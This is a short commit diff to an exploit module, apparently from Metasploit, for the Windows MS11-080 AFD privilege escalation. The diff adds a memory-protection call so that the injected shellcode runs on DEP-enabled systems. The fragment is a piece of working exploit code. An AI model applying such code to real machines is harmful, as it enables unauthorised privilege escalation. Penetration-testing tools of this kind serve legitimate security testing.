add call to memory protect to fix DEP environments

Author: zeroSteiner

modules/exploits/windows/local/ms11_080_afdjoinleaf.rb

@@ -244,6 +244,7 @@ def exploit
 
 		this_proc.memory.write(shellcode_address_dep, shellcode)
 		this_proc.memory.write(shellcode_address_nodep, shellcode)
+		this_proc.memory.protect(0x00020000)
 
 		addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
 		result = session.railgun.ws2_32.connect(socket, addr, addr.length)